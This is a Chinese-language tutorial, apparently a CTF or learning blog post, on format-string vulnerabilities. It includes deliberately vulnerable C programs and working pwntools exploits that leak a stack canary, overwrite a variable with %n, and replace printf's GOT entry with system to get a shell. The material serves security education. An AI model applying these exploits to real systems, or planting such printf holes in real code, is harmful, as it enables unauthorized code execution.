新媒体管家
复现蒸米师傅Memory Leak & DynELF失败,所以留个坑(惨)
关于printf()可以参考
https://www.cnblogs.com/phinecos/archive/2007/08/24/868524.html
里面讲了简单的printf()实现。这里讲的除了x86-64里的pwn之外的都是32位。
printf( arg0, arg1,... )函数的参数是从右往左入栈,这样就弹出来的第一个参数就是最左边的参数(arg0)。而且参数的个数是不定的。他的实现大概是这样的:
将第一个参数中的字符一个一个打印到屏幕上,如果碰到"%"这个字符,就根据计数器n去寻找参数n并且计数器加一,打印完参数n后继续打印第一参数接下来的字符。
当参数个数小于字符串中"%"的个数的时候(这里要排除掉%%),就会产生越界。我们现在可以读取栈上的内容了。这里有4个%号,但是参数却只有两个。%和参数不匹配,导致读取打印了栈上的内容。
#include <stdio.h>
int main(void)
{
int a=1;
char *str="test";
printf("%s %d %x %x\n",str,a);
return 0;
}
对于test.c,我们只要获取到canary的值ret到exploit()函数即可。
/* test.c */
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
printf(str);
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}
编译如下:
gcc -m32 -O0 test.c -o test -no-pie -fstack-protector-all
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
使用gdb跟踪调试,在输入处输入aaaa
。随后可得知canary在栈上的位置。
我们再运行到printf处,计算出canary的值跟栈顶相差15个参数分(从零开始),我们只要构造%08x * 15。也有更简单的表达.
关于payload中的"$"符号的意思是选择第15个参数.可以参考
https://en.wikipedia.org/wiki/Printf_format_string
from pwn import *
elf = ELF("./test")
io = process("./test")
shell_addr = elf.symbols["exploit"]
payload = "%15$08x"
io.sendline(payload)
ret = io.recv()
canary = ret[:8]
log.success("canary => 0x{}".format(canary))
payload = "a" * 4 * 8
payload += (canary.decode("hex"))[::-1]
payload += "a" * 4 * 3
payload += p32(shell_addr)
io.send(payload)
io.interactive()
我们先了解一下%n的作用->把前面已经打印的长度写入某个内存地址。
/* Ex1 */
#include <stdio.h>
int main(void)
{
int num=66666666;
printf("Before: num = %d\n", num);
printf("%d%n\n", num, &num);
printf("After: num = %d\n", num);
return 0;
}
/* Ex1 */
Before: num = 66666666
66666666
After: num = 8
/* Ex2 */
#include <stdio.h>
int main(void)
{
int num=66666666;
printf("Before: num = %d\n", num);
printf("%.100d%n\n", num, &num);
printf("After: num = %d\n", num);
return 0;
}
/* Ex2 */
Before: num = 66666666
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066666666
After: num = 100
已经知道了%n的作用,现在我们编译如下程序:
gcc -m32 -O0 b.c -o b -no-pie -fstack-protector-all
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int secret = 0;
void give_shell()
{
gid_t gid = getegid();
setresgid(gid, gid, gid);
system("/bin/sh -i");
}
int main(int argc, char **argv)
{
char buf[128];
memset(buf, 0, sizeof(buf));
fgets(buf, 128, stdin);
printf(buf);
if (secret == 192)
{
give_shell();
}
else
{
printf("Sorry, secret = %d\n", secret);
}
return 0;
}
我们只需用printf函数把secret改成192即可。随便输入一些,在printf入口处下断点。观察栈的内容.
现在我们使用脚本可以读取到0xffffcbdc
这个位置上,也就是第11个参数。而且这个是我们可控的。
from pwn import *
elf = ELF("./b")
io = process("./b")
payload = 'A' * 4
payload += '%p.' * 11
payload += '\n'
io.send(payload)
recved = io.recv()
print recved
此时我们再获得secert的地址。
代码如下,往第11个参数做指针的地方也就是secert写入192 + 4 。
from pwn import *
elf = ELF("./b")
io = process("./b")
secert = p32(0x804a038)
payload = secert
payload += '%192u%11$n' #%192u 写入的值,%11$n得到secert的地址
payload += '\n'
io.send(payload)
recved = io.recv()
recved2 = io.recv()
print recved
print recved2
io.interactive()
发发现多了4个字节,把192 改成 188 即可。运行如下:
感谢7o8v提供的题目以及exp。pwn链接: https://pan.baidu.com/s/1kVl7cAr 密码: qfpr
不是作者就只能讲讲原理:
首先构造payload把puts函数的地址写入栈内,然后通过printf将这个地址打印出来,再通过偏移量计算出system地址。随后的payload将got表中的printf函数替换成system函数。下次调用printf就成了调用system函数,传入'/bin/sh\0'。注意64位和32位的传参是不同的,先用寄存器传参,寄存器不够用才会放到栈上。参数先在寄存器rdi rsi rdx rcx r8 r9放入,再放在栈上。漏洞在如图位置:
from pwn import *
io = process('./pwn_std')
context(log_level='debug')
elf = ELF('./pwn_std')
offset_put_pri = 0x7ffff7aa2f60 - 0x7ffff7a89160
offset_pri_sys = 0x7ffff7a89160 - 0x7ffff7a79450
got_printf = elf.got['printf']
got_puts = elf.got['puts']
def leak(addr):
io.recvuntil('tang')
io.sendline('5')
io.recvuntil('go?')
io.sendline('6602')
io.recvuntil('to us')
payload = '%9$s' +'\x00\x00\x00\x00'+p64(addr)
io.sendline(payload)
io.recvuntil('is:')
dest = io.recvn(8)
log.info('LeakedAddr:'+hex(u64(dest)))
return dest
puts = leak(got_puts)
printf = u64(puts)-offset_put_pri
system = printf - offset_pri_sys
log.info('printf:'+hex(printf)+' system:'+hex(system))
system_1 = system%(256*256)
system_2 = system%(256*256*256)/(256*256)
void = 0x10000-system_1
payload = '%'+str(system_1)+'c%12$hn'+'%'+str(void+system_2)+'c%13$hhn'
payload += '\x00\x00\x00\x00\x00'
payload += p64(got_printf)+p64(got_printf+2)
io.recvrepeat(1)
io.sendline('5')
io.recvuntil('go?')
io.sendline('6602')
io.recvuntil('to us')
io.sendline(payload)
io.recvrepeat(1)
io.sendline('5')
io.recvuntil('go?')
io.sendline('6602')
io.recvuntil('to us')
io.sendline('/bin/sh\0')
io.interactive()
虽然现在格式化字符串已经销声匿迹了,但是还是有学习的必要的。实际使用情况中应注意将参数和%配对。这几年提出的保护大多是为了封杀栈溢出,但是这些年栈溢出攻击并没有销声匿迹,原因恐怕就是编程人员的不当操作,而且函数封装也加大了编程人员对函数的理解。--个人见解,欢迎纠正。
格式化字符串还有很多用法,这里只是介绍了比较简单的。可以进行下一步:格式化字符串漏洞利用小结(一)
http://bobao.360.cn/learning/detail/3654.html
抄袭资料 : )
跟我入坑PWN第二章
http://bobao.360.cn/learning/detail/3339.html
格式化字符串漏洞
http://yunnigu.dropsec.xyz/2016/10/10/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/